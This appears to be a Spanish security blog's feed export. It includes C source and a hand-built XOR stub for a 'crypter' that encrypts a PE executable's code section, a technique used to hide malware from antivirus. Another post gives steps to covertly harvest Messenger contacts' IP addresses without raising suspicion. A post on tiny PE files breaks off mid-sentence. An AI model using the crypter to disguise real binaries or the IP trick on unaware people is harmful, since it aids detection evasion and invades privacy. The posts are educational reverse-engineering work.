tag:blogger.com,1999:blog-48167456500664140702024-03-05T14:45:41.839+01:00El blog de ThorUnknownnoreply@blogger.comBlogger58125tag:blogger.com,1999:blog-4816745650066414070.post-89252269374858111712011-12-19T02:33:00.001+01:002011-12-19T02:33:48.219+01:00Cifrando un ejecutable en C, problemas (2ª parte)<p align="justify">En <a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c-problemas.html">esta entrada</a> expliqué los posibles problemas que pueden suceder cuando ciframos un ejecutable y en <a href="http://el-blog-de-thor.blogspot.com/2011/11/cifrando-un-ejecutable-en-c-2-intento.html">la última entrada</a> mejoré el “crypter” detectando estas situaciones.</p> <p align="justify">Pero hay otra situación en la que no había caído.</p> <p align="justify">Para empezar veamos la estructura típica de un ejecutable:</p> <p align="justify"><a href="http://lh4.ggpht.com/-8dXMmJCiemg/Tu6UTNhVMaI/AAAAAAAAAcE/qmjkFIorIEU/s1600-h/image%25255B3%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-GAA67iT660A/Tu6UT4mE7EI/AAAAAAAAAcM/Gs6D5sMYpDs/image_thumb%25255B1%25255D.png?imgmax=800" width="307" height="446"></a></p> <p align="justify">La sección que nos interesa es la de código que es la que vamos a cifrar, el resto de secciones no las tocaremos.</p> <p align="justify">Pueden existir mas secciones por ejemplo <em>.idata</em> donde se almacena la IT, Import Table y la IAT, Import Address Table. En muchos ejecutables esta sección no existe y la IT y la IAT se almacenan en otras secciones.</p> <p align="justify">Por ejemplo es habitual encontrarse con la IT en la cabecera del ejecutable y la IAT en la sección de código o ambas en la sección de código. Y esta última es la peor situación que nos puede suceder para nuestro crypter:</p> <p align="justify"><a href="http://lh3.ggpht.com/-nR5y6AfagXg/Tu6UU9vdkmI/AAAAAAAAAcU/PiOXwjWWlSU/s1600-h/image%25255B7%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-OwtJPsdIyqE/Tu6UV8W9gqI/AAAAAAAAAcY/Bux0A0raRBU/image_thumb%25255B3%25255D.png?imgmax=800" width="463" height="348"></a></p> <p align="justify">El problema es que el crypter que estoy haciendo en su estado actual hace un XOR a toda la sección de código. Y esto sobre un ejecutable que tiene la IT en la sección de código hace que la IT quede inválida, el loader de Windows no pueda leerla y no pueda cargar el ejecutable.</p> <p align="justify">Este problema ya lo había explicado en <a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c-problemas.html">la otra entrada</a>, el otro problema, es que la IAT se encuentre en la sección de código. </p> <p align="justify">Supongamos que tenemos un ejecutable que tiene la IT en la cabecera (así no nos molesta) y la IAT en la sección de código:</p> <p align="justify"><a href="http://lh6.ggpht.com/-nEhrUHAwAuk/Tu6UWacW0lI/AAAAAAAAAck/r0ZjdqG4ALQ/s1600-h/image%25255B14%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-3z6gd8HM4Wo/Tu6UXgW5viI/AAAAAAAAAco/4zQCwcFvaEE/image_thumb%25255B6%25255D.png?imgmax=800" width="455" height="340"></a></p> <p align="justify">A este ejecutable le pasamos el crypter, el cual hará un XOR a toda la sección de código y agregara una nueva sección para descifrar la sección de código:</p> <p align="justify"><a href="http://lh4.ggpht.com/-JDYiiSdBtf8/Tu6UZGiVDbI/AAAAAAAAAc0/TQubQNHVom0/s1600-h/image%25255B22%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-QZ3g6cAAGMI/Tu6UaKfn8QI/AAAAAAAAAc8/NQBkngxjHHE/image_thumb%25255B10%25255D.png?imgmax=800" width="459" height="385"></a></p> <p align="justify">En esta situación el loader de Windows puede leer correctamente la IT y rellena correctamente la IAT con las direcciones de las funciones utilizadas por el ejecutable. </p> <p align="justify"><a href="http://lh5.ggpht.com/-6qHClq_14mc/Tu6Ub-YzYKI/AAAAAAAAAdE/L1HA_tK8DoI/s1600-h/image%25255B34%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-hzZ5WT4raj4/Tu6UcopKdvI/AAAAAAAAAdM/TDTdhVVyRlY/image_thumb%25255B16%25255D.png?imgmax=800" width="459" height="381"></a></p> <p align="justify">Lo siguiente que sucede es que se ejecuta el código de la nueva sección que es el encargado de descifrar la sección de código, volviendo a hacer XOR a la misma y salta al Entry Point original. </p> <p align="justify"><a href="http://lh5.ggpht.com/-fE5u00OO9vs/Tu6Ud_eTX4I/AAAAAAAAAdU/gGC-JLhKC3k/s1600-h/image%25255B38%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-2jlwbjoNwh4/Tu6Ue3zEQMI/AAAAAAAAAdY/stqUVK_Riok/image_thumb%25255B18%25255D.png?imgmax=800" width="456" height="379"></a></p> <p align="justify">Al hacer XOR a la sección de código para descifrarla también se ha hecho XOR a la IAT que había sido rellenada correctamente por el loader y se ha dejado la IAT con direcciones de funciones incorrectas. De modo que el ejecutable cifrado falla en cuando llama a una función de una dll, vamos…siempre.</p> <p align="justify">¿Cómo solucionar esto?</p> <p align="justify">Hay dos opciones, una fácil y otra difícil:</p> <ul> <li> <div align="justify">La fácil: Si la IT o la IAT se encuentran en la sección de código, no hacer XOR sobre la zona donde se encuentra.</div></li> <li> <div align="justify">La difícil: Si la IT o la IAT se encuentra en la sección de código, moverlas a la nueva sección agregada por el crypter.</div></li></ul> <p align="justify">En la siguiente entrada implementará la primera opción, la segunda para mas adelante.</p> <p align="justify">Buenas noches!</p> Unknownnoreply@blogger.com12tag:blogger.com,1999:blog-4816745650066414070.post-48204219606667292952011-11-15T23:17:00.001+01:002011-11-15T23:20:36.110+01:00Cifrando un ejecutable en C (2º intento)<p align="justify">Hace algunos meses hice <a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c.html">un programa que cifraba ejecutables en C</a>, mas tarde comente <a href="http://el-blog-de-thor.blogspot.com/2011/08/cifrando-un-ejecutable-en-c-problemas.html">los problemas que podía dar y qué ejecutables no era capaz de cifrar</a>. </p> <p align="justify">Ahora quiero seguir con ello y para retomar el tema tranquilamente he reorganizado el código del “crypter” utilizando los ficheros de funciones que comencé en <a href="http://el-blog-de-thor.blogspot.com/2011/08/sencillo-programa-para-encontrar-huecos.html">esta entrada</a> y ya de paso he añadido código para detectar cuando no es posible cifrar el programa. Para recordar esto podía suceder en las siguientes situaciones:</p> <ul> <li> <div align="justify">No hay espacio suficiente en la cabecera PE para agregar una sección.</div></li> <li> <div align="justify">La tabla de importaciones está en la sección de código (.text, .code) que es la que cifra mi programa. Esto hace que la tabla quede cifrada y no pueda ser leída por el cargador de Windows.</div></li> <li> <div align="justify">La tabla de importaciones o la “Bound Import Table” está justo después de la tabla de secciones, de modo que si se agrega una sección sobrescribe estas tablas dañándolas.</div></li></ul> <p align="justify">A continuación pongo el contenido del fichero main.cpp</p>
<pre class="brush: cpp">
#include <stdio.h>
#include <windows.h>
#include "PECore.h"
//Rutina encargada de descifrar la sección cifrada
byte uncryptroutine[] = //21 bytes
"\xB8\x00\x10\x40\x00" //B8 00104000 MOV EAX, 401000 Section Start ||Este valor será modificado
"\x80\x30\xBB" //8030 BB XOR BYTE[EAX], BB Key
"\x40" //40 INC EAX
"\x3D\x00\x45\x40\x00" //3D 00454000 CMP EAX, 404500 Section End ||Este valor será modificado
"\x75\xF5" //75 F5 JNZ SHORT -11 (Complemento a dos de 11 = F5)
"\xB8\x00\x20\x40\x00" //B8 00204000 MOV EAX, 402000 Pone en EAX el OEP || Este valor será modificado
"\xFF\xE0"; //FFE0 JMP EAX Salta al OEP
//Posiciones de la rutina que tienen que ser corregidas
const int SectionStartPos = 1;
const int KeyPos = 7;
const int SectionEndPos = 10;
const int OEPPos = 17;
const byte CipherKey = 0xBB;
//Modifica la rutina de descifrado para introducirle los datos que cambian
void ChangeUncryptRoutine(byte *uncryptroutine, DWORD VirtualStart, DWORD VirtualEnd, DWORD OEP, byte CipherKey)
{
memcpy(&uncryptroutine[SectionStartPos], &VirtualStart, sizeof(DWORD));
memcpy(&uncryptroutine[SectionEndPos], &VirtualEnd, sizeof(DWORD));
memcpy(&uncryptroutine[OEPPos], &OEP, sizeof(DWORD));
memcpy(&uncryptroutine[KeyPos], &CipherKey, sizeof(byte));
}
int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("Pasame un archivo como argumento, ej: %s program.exe\n", *argv);
return EXIT_FAILURE;
}
//Necesitamos saber el pINH->OptionalHeader.FileAlignment para saber exactamente el tamaño del nuevo ejecutable una vez cifrado
DWORD fileAlignment = GetFileAlignment(argv[1]);
if (fileAlignment == -1)
return EXIT_FAILURE;
DWORD fileSize = GetFileSize(argv[1]);
if (fileSize == -1)
return EXIT_FAILURE;
//El nuevo tamaño es el original mas el tamaño de la sección alineada
DWORD newSize = fileSize + Align(sizeof(uncryptroutine) ,fileAlignment);
MapInfo mapInfo;
if (OpenAndMapFile(&mapInfo, argv[1], newSize) == -1)
return EXIT_FAILURE;
if (!IsValidExe(mapInfo.viewMappedFile))
{
printf("%s no es un archivo ejecutable valido\n", *argv);
return EXIT_FAILURE;
}
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)mapInfo.viewMappedFile;
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&mapInfo.viewMappedFile[pIDH->e_lfanew];
PIMAGE_SECTION_HEADER pISH = RVAToSection(mapInfo.viewMappedFile, pINH->OptionalHeader.AddressOfEntryPoint);
printf("EP apunta a la seccion: %s\n", pISH->Name);
//Comprobamos si la IT está también en la sección de código, donde apunta el EP, si es así no podemos cifrar el ejecutable
PIMAGE_SECTION_HEADER pIT = RVAToSection(mapInfo.viewMappedFile, pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if (pISH == pIT)
{
printf("La tabla de importaciones está en la sección de código, el crypter de momento no puede cifrar estos ejecutables\n");
return EXIT_FAILURE;
}
//Añadimos permisos de escritura a la sección que se va a encriptar
pISH->Characteristics |= IMAGE_SCN_MEM_WRITE;
printf("Añadidos permisos de escritura a la seccion: %s\n", pISH->Name);
//Ciframos la sección donde apunta el EP
CipherSectionXOR(mapInfo.viewMappedFile, pISH, CipherKey);
printf("Seccion %s cifrada\n", pISH->Name);
//Añadimos una sección para incluir en ella la rutina de descifrado
PIMAGE_SECTION_HEADER pNewISH = AddSection(mapInfo.viewMappedFile, ".crypt", sizeof(uncryptroutine));
if ((int)pNewISH < 0)
{
CloseAndUnmapFile(&mapInfo);
PrintfAddSectionError(pNewISH);
return EXIT_FAILURE;
}
printf("Seccion %s agregada\n", pNewISH->Name);
DWORD OEP = pINH->OptionalHeader.AddressOfEntryPoint;
//El nuevo entry point estará al comienzo de la nueva sección
pINH->OptionalHeader.AddressOfEntryPoint = pNewISH->VirtualAddress;
printf("EP cambiado a: %#x\n", pNewISH->VirtualAddress);
//Modificamos la rutina de desencriptación
DWORD VirtualStart = pINH->OptionalHeader.ImageBase + pISH->VirtualAddress;
DWORD VirtualEnd = VirtualStart + pISH->Misc.VirtualSize;
OEP += pINH->OptionalHeader.ImageBase;
//Modifica la rutina de descifrado cambiando los datos necesarios para que funcione
ChangeUncryptRoutine(uncryptroutine, VirtualStart, VirtualEnd, OEP, CipherKey);
printf("Rutina de descifrado modificada con los valores: %#x-%#x, %#x, %d\n", VirtualStart, VirtualEnd, OEP, CipherKey);
if (fileSize != pNewISH->PointerToRawData)
{
printf("Existen datos EOF, se copiaran al final del fichero\n");
//Los datos EOF se desplazan al final del fichero
memcpy(&mapInfo.viewMappedFile[pNewISH->PointerToRawData + pNewISH->SizeOfRawData], &mapInfo.viewMappedFile[pNewISH->PointerToRawData], fileSize - pNewISH->PointerToRawData);
}
//Escribimos la rutina de desencriptación al inicio de la nueva sección
memcpy(&mapInfo.viewMappedFile[pNewISH->PointerToRawData], uncryptroutine, sizeof(uncryptroutine));
//Rellenamos de 00s el resto de la sección
memset(&mapInfo.viewMappedFile[pNewISH->PointerToRawData + sizeof(uncryptroutine)], 0, pNewISH->SizeOfRawData - sizeof(uncryptroutine));
printf("Rutina de descifrado escrita\n");
//Cerramos la vista mapeada
CloseAndUnmapFile(&mapInfo);
printf("Archivo encriptado!\n");
return EXIT_SUCCESS;
}
</pre>
<p align="justify">El resto de ficheros necesarios (PECore.cpp y PECore.h) junto al propio main.cpp los subo <a href="http://www.multiupload.com/EIGJ5CRECE">aquí</a>.</p> <p align="justify">En las siguientes entradas modificaré el crypter para que no cifre la IT si la encuentra en la sección de código, mejoraré el código en ensamblador encargado de cifrar y otras cosas según vayan surgiendo.</p> <p align="justify">Saludos!</p>Unknownnoreply@blogger.com7tag:blogger.com,1999:blog-4816745650066414070.post-1642944955820023842011-09-01T09:57:00.000+02:002012-02-23T20:26:12.099+01:00Cómo conseguir la IP de tus contactos de Windows Live Messenger<p align="justify">Buenas, en muchos sitios se dice cómo es posible obtener la IP de un contacto de Messenger enviándole un fichero y mirando con netstat las conexiones.</p> <p align="justify">Aquí voy a mostrar cómo es posible hacerlo sin enviar ningún fichero. Y obtener no solo la IP pública sino también las IPs internas de sus adaptadores de red. Se hará de forma manual, usando netstat, después usando Wireshark y por último expondré un programa que he realizado que automáticamente muestra las IPs de los contactos según se van obteniendo.</p> <p align="justify">Lo primero que debemos saber es cómo funciona Messenger por encima. La autenticación la realiza conectándose a los servidores de Microsoft vía SSL. Una vez autenticado todas las conversaciones pasan por los servidores de Microsoft sin ningún tipo de cifrado (así que cuidado con utilizar Messenger en redes inseguras). </p> <p align="justify">Un tema aparte es como se envían entre los contactos ficheros, imágenes, avatares y emoticonos. Para ello Messenger utiliza un protocolo p2p. Así que cuando un contacto solicita por ejemplo nuestro avatar se inicia una negociación entre nosotros y el contacto para ver cómo es posible realizar la conexión. En este punto ambas partes se intercambian las IPs internas y externas, puertos, tipo de conexión, si usamos NAT, UPnP, etc…</p> <p align="justify">En en este punto a donde podemos aprovecharnos para saber la IP del otro contacto.<br></p> <h3 align="justify"><br>Con netstat</h3> <p align="justify">La opción más fácil es utilizar netstat para monitorizar las conexiones y ver las nuevas conexiones que realiza el proceso del Messenger. Vamos a ello. Todo desde la consola.</p> <p align="justify">El proceso encargado de las comunicaciones de Messenger es wlcomm.exe. Así que obtenemos su PID:</p> <div align="justify"><pre>tasklist | find "wlcomm.exe"</pre></div>
<p align="justify">Ahora con el PID podemos filtrar la salida de netstat para quedarnos solo con las conexiones que realiza dicho proceso(requiere permisos de administrador):</p>
<div align="justify"><pre>netstat -nabo | find "PID_ENCONTRADO"</pre></div>
<div align="justify"><pre><a href="http://lh4.ggpht.com/-MVu2q0vH4gY/Tl7OZDDFleI/AAAAAAAAAaI/dFwMSjV0rLM/s1600-h/image%25255B5%25255D.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-wAC3EVDB4z8/Tl7OZcjKyCI/AAAAAAAAAaM/Ag7S8zm9ZMs/image_thumb%25255B3%25255D.png?imgmax=800" width="465" height="98"></a></pre></div>
<p align="justify">Ahora en este punto iniciamos una conversación con el contacto del que nos interesa saber la IP y le enviamos un emoticono personalizado, para no levantar sospechas lo mejor es un emoticono transparente o blanco. Se iniciará la negociación entre los dos clientes y se iniciará la conexión. Volvemos a lanzar el comando anterior y veremos una nueva conexión de nuestro contacto.</p>
<p align="justify"><a href="http://lh6.ggpht.com/-leOJRXps6aQ/Tl7OaMYbxuI/AAAAAAAAAaQ/KO-SN6RCO2w/s1600-h/image%25255B9%25255D.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-T18OX7tSHE8/Tl7OaorngoI/AAAAAAAAAaU/WDYJVfyFlNw/image_thumb%25255B5%25255D.png?imgmax=800" width="468" height="70"></a><br></p>
<h3 align="justify"><br>Con Wireshark</h3>
<p align="justify">Vamos a filtrar los paquetes obtenidos por Wireshark para quedarnos con aquellos donde se realiza la negociación entre dos contactos. De ahí cogeremos la IP externa y las internas.</p>
<p align="justify">Wireshark ofrece el filtro “msnms” para quedarnos con los paquetes del procolo de Messenger.</p>
<p align="justify"><a href="http://lh5.ggpht.com/-psrt1GxmMP4/Tl7Oh2wrMTI/AAAAAAAAAaY/mLFK_rAJHug/s1600-h/image%25255B13%25255D.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-SmfMacbD_fE/Tl7OivG2rNI/AAAAAAAAAac/F9txVlx4hCU/image_thumb%25255B7%25255D.png?imgmax=800" width="474" height="110"></a></p>
<p align="justify">Mirando paquete a paquete en uno de ellos encontraremos algo así:</p>
<p align="justify"><a href="http://lh6.ggpht.com/-r9jGb9DKKGE/Tl7OjGwrctI/AAAAAAAAAag/aa6wf-SFqmQ/s1600-h/image%25255B17%25255D.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-B0Ok9ZZscuI/Tl7OkGwiESI/AAAAAAAAAak/6JJMQqFlWHg/image_thumb%25255B9%25255D.png?imgmax=800" width="477" height="300"></a></p>
<p align="justify">Fijaos en estas cadenas:<br>“srddA-lanretxE4vPI” Dando la vuelta a la cadena: IPv4External-Addrs<br>“srddA-lanretnI4vPI” –> IPv4External-Addrs</p>
<p align="justify">En esos campos se muestran las IPs y puertos donde se debe realizar la conexión. Claro que hay que darles la vuelta. Mirando el campo “From:” sabremos de que contacto es la IP.</p>
<p align="justify">Ir mirando los paquetes uno a uno buscando estos campos no parece muy divertido. Es mas cómodo hacer un filtro que busque en todo el paquete la cadena “srddA-lanretxE4vPI” o “stroPdnAsrddAlanretxE4vPI” (que es otra de las formas en las que aparece).</p>
<p align="justify">Este es el filtro que se queda con los paquetes que nos interesan:</p>
<div align="justify"><pre>frame[0:] contains 73:74:72:6f:50:64:6e:41:73:72:64:64:41:6c:61:6e:72:65:74:78:45:34:76:50:49:3a:20:36:34:37:33:3a:31:39:2e:35:30:31:2e:39:34:2e:35:38:0d:0a or frame[0:] contains 73:72:64:64:41:2d:6c:61:6e:72:65:74:78:45:34:76:50:49</pre></div>
<p align="justify"><a href="http://lh4.ggpht.com/-pq4-26uat28/Tl7OklsHfJI/AAAAAAAAAao/_XA7kX6Ocok/s1600-h/image%25255B21%25255D.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/-oWdUKD7rgl4/Tl7OlGLGe1I/AAAAAAAAAas/yDXz7LvPhzw/image_thumb%25255B11%25255D.png?imgmax=800" width="477" height="87"></a></p>
<h3 align="justify"><br>Con mi programa “GetMSNIPs”</h3>
<p align="justify">Usando Wireshark con el filtro se pueden obtener las IPs de una manera bastante cómoda. Pero me apetecía hacerlo un poco mas sencillo y ya de paso programar algo usando <a href="http://www.winpcap.org/">WinPcap</a>.</p>
<p align="justify">El resultado es este programa que ahora expongo, le he llamado GetMSNIPs, me encantan los nombres originales. No pongo el código aquí que son 300 líneas.</p>
<p align="justify">GetMSNIPs: <a href="http://www.informatica64.com/descargas/GetMSNIPs.zip">Source y binario</a>.</p>
<p align="justify">Una captura de cómo funciona:</p>
<p align="justify"><a href="http://lh6.ggpht.com/-D2w-Y76XEGA/Tl7Ols-xRcI/AAAAAAAAAaw/mlFWySM5zjE/s1600-h/image%25255B25%25255D.png"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh4.ggpht.com/-fpWVu-5mKuw/Tl7OmUYQbAI/AAAAAAAAAa0/wMCZzkJLOM4/image_thumb%25255B13%25255D.png?imgmax=800" width="472" height="269"></a></p>
<p align="justify"></p>
<p align="justify">Modo de uso: </p>
<ol>
<li>
<div align="justify">Si no tiene instalado WinPcap, <a href="http://www.winpcap.org/install/bin/WinPcap_4_1_2.exe">instálelo!</a>.</div></li>
<li>
<div align="justify">Arranque “GetMSNIPs” y seleccione la interfaz con la que se conecta a internet.</div></li>
<li>
<div align="justify">Inicie Windows Live Messenger y cámbiese de avatar, utilice uno que no haya usado antes (así sus contactos no lo tendrán y se iniciará una conexión P2P para su envío).</div></li>
<li>
<div align="justify">Espere un tiempo ó inicie conversaciones con sus contactos para forzar a que carguen su avatar y capturar así su IP.</div></li></ol>
<p align="justify"> </p>
<p align="justify">Así que ya sabéis, si usáis Windows Live Messenger estas diciendo a tus contactos tu dirección IP. No es un gran problema, pero está bien saberlo.</p>
<p align="justify">Saludos!</p>Unknownnoreply@blogger.com45tag:blogger.com,1999:blog-4816745650066414070.post-85007838600902470112011-08-30T13:09:00.005+02:002012-05-26T15:33:23.031+02:00Hacer un ejecutable aun más pequeño<p align="justify">En <a href="http://el-blog-de-thor.blogspot.com/2011/08/generar-ejecutables-pequenos-con-vc-90.html">el anterior post</a> se mostraba cómo configurar Visual Studio para generar ejecutables pequeños de 1 kb. Es posible que un ejecutable sea todavía mas pequeño. Aunque ya hay que meterse en ensamblador y usar un editor hexadecimal. </p> <p align="justify">Lo único que he encontrado al respecto es este artículo de Solar Eclipse.<br><a href="http://www.phreedom.org/solar/code/tinype/">http://www.phreedom.org/solar/code/tinype/</a></p> <p align="justify">En él llega a un ejecutable de 97 bytes pero tras probarlo en diferentes versiones de Windows he constatado que solo funciona en versiones anteriores a Windows XP SP2, en esta versión y en posteriores no funciona, ni este ejecutable de 97 bytes, ni otros tantos del mismo artículo. También hay problemas con las versiones de Windows de 64 bits, donde el loader tiene comportamiento ligeramente diferente. Veámoslo. </p> <p align="justify">En el artículo de Solar Eclipse, lo primero que hace es eliminar la librería Runtime de C para conseguir un ejecutable de 1k, como se hizo en el anterior artículo. </p> <p align="justify">Lo siguiente que hace es reducir el valor de SectionAlignment mediante el parámetro /ALIGN:1 (Explicación en <a href="http://msdn.microsoft.com/en-us/library/8xx65e1y(v=vs.80).aspx">MSDN</a>).</p> <p align="justify">El problema es que VC++ 9.0 devuelve un error al intentar usar dicho parámetro:</p><pre>Error 1 fatal error LNK1164: alineación de la sección 0x2 (2) superior al valor /ALIGN</pre>
<p align="justify">El mínimo valor que deja usar es 4 y aun así modifica solo el valor de SectionAlignment dejándolo a 4, pero no modifica el valor de FileAlignment (como si hacía VC 6.0) para dejarlo también a 4.</p>
<p align="justify"><a href="http://lh5.ggpht.com/-k3kuUZE3yi8/TlzEwY0HyhI/AAAAAAAAAZo/nfiys3tEQOE/s1600-h/image4.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-sdNwa-3rsQE/TlzExUJkmZI/AAAAAAAAAZs/aYAfHU9XgbE/image_thumb2.png?imgmax=800" width="446" height="171"></a></p>
<p align="justify">Esto hace que el ejecutable no cumpla el estándar (<a href="http://msdn.microsoft.com/en-us/windows/hardware/gg463119">Microsoft Portable Executable and Common Object File Format Specification</a>), el cúal dice claramente:<br>”The section align must be greater than or equal to FileAlignment.”<br><br>“If the SectionAlignment is less than the architecture’s page size (0x1000), then FileAlignment must match SectionAlignment.”</p>
<p align="justify">En este caso en el que SectionAlignment es menor que 0x1000 FileAlignment también debe valer 4. Si cambiamos el valor de FileAlignment veremos como el ejecutable si funciona en todos los Windows >= Windows XP excepto en las versiones de x64 bits.</p>
<p align="justify">¿Por qué no funciona en las versiones de 64 bits? No se la razón exacta, solo se que para que funcione correctamente es necesario que SizeOfImage sea 0x1000 mayor de lo que debería ser (Extraño, si alguien sabe el por qué exacto que no dude en decirlo). Esto solo se da cuando SectionAlignment es menor que el page size. </p>
<p align="justify">Continuemos con el artículo de Solar Eclipse.</p>
<h3> </h3>
<h3>“Switching to assembly and removing the DOS stub”</h3>
<p align="justify">El siguiente paso que toma para reducir el tamaño de un ejecutable es utilizar ensamblador, NASM. Es curioso que en el propio código en ensamblador del programa defina los campos de la cabecera PE. De este modo evita el uso del linker, que debería ser el que ensambla el ejecutable, crea la cabecera PE, las secciones, incluye los recursos, etc… Con esto logra una gran flexibilidad a la hora de generar un ejecutable con una cabecera personalizada.</p>
<p align="justify">Aunque de nuevo nos encontramos con problemas. Ya que en la <a href="http://www.nasm.us/doc/nasmdoc4.html#section-4.11.13">primera revisión de 2009 de Nasm</a> se introdujo el macro SECTALIGN. El código de Solar Eclipse, usa una variable con el mismo nombre, NASM nos da un error al ser una palabra reservada. Así que es necesario renombrar la variable SectAlign.</p>
<p align="justify">Este ejecutable, el de 356 bytes, no funciona en las versiones de 64 bits por lo que he explicado antes. Se puede solucionar cambiando esta línea:</p>
<blockquote><pre>dd round(filesize, sectalign) ; SizeOfImage</pre></blockquote>
<p>Por esta:</p>
<blockquote><pre>dd round(filesize, sectalign) + 0x1000 ; SizeOfImage</pre></blockquote>
<p align="justify">Así nos funcionará en todas las versiones de Windows >= XP tanto en 32 como en 64 bits.</p>
<p><a href="http://www.multiupload.com/74RHEO7X6V">tiny_356_mod.asm</a> | <a href="http://www.multiupload.com/7OKTYEZBYV">tiny_356_mod.exe</a><br></p>
<h3> </h3>
<h3>“Collapsing the MZ header”</h3>
<p align="justify">En este apartado superpone la cabecera PE con la cabecera MZ. Sitúa la cabecera Pe en el offset 4 haciendo que varios campos de ambas cabeceras se superpongan. El único campo importante de la cabecera MZ, aparte del magic number, es el e_lfanew, en el offset 0x3C. Este campo coincide con el campo de la cabecera PE, SectionAlignment. Da a ambos campos el valor de 4.</p>
<p align="justify">Para entender mejor esto en el desparecido blog de Ero Carrera se pueden ver algunos gráficos explicando los campos de este ejecutable.<br><a href="http://web.archive.org/web/20081011023041/http://blog.dkbza.org/2007/03/tiny-and-crazy-pe.html">http://web.archive.org/web/20081011023041/http://blog.dkbza.org/2007/03/tiny-and-crazy-pe.html</a></p>
<p align="justify">Como en el anterior apartado para que funcione en todos los Windows es necesario cambiar el valor del SizeOfImage.</p>
<p><a href="http://www.multiupload.com/X16DL7ALB5">tiny_296_mod.asm</a> | <a href="http://www.multiupload.com/ZH5O3JD2X2">tiny_296_mod.exe</a><br></p>
<h3> </h3>
<h3>“Removing the data directories”</h3>
<h3></h3>
<p align="justify">Este apartado será el último que seremos capaces de realizar si queremos que el ejecutable funcione en todas las versiones de Windows.</p>
<p align="justify">La modificación que realiza aquí consiste en eliminar el directorio de datos, ya que no se están usando. </p>
<blockquote><pre>dd 0 ; NumberOfRvaAndSizes</pre></blockquote>
<p>Ahorrando así, 16x8=128 bytes.</p>
<p align="justify">Pero el ejecutable resultante no funciona en Windows XP SP2 y en siguientes versiones de Windows. El mensaje es curioso:</p>
<p><a href="http://lh5.ggpht.com/-WrDTga_2Jdg/TlzExhNugzI/AAAAAAAAAZw/DQN1ra21mhU/s1600-h/image10.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/-mnDTPyb9dTI/TlzEyAXWjoI/AAAAAAAAAZ0/assz-fjM7y8/image_thumb11.png?imgmax=800" width="300" height="43"></a><br>¿128 bytes demasiado extenso? :P</p>
<p align="justify">El problema en esta ocasión parece estar en que a pesar de que se ha puesto en el campo “NumberOfRvaAndSizes” un 0, el Loader espera que en disco esté toda la tabla de directorios, aunque esté vacía.</p>
<p>Así este ejecutable funciona:</p>
<p><a href="http://lh6.ggpht.com/-oArDairfcBA/TlzEyjIvTMI/AAAAAAAAAZ4/LU1b2fiDlr4/s1600-h/image14.png"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/-rzMXoOmZ7WI/TlzEzXfkiqI/AAAAAAAAAZ8/N1wq4cnHhKY/image_thumb13.png?imgmax=800" width="461" height="288"></a></p>
<p>Pero este otro no:</p>
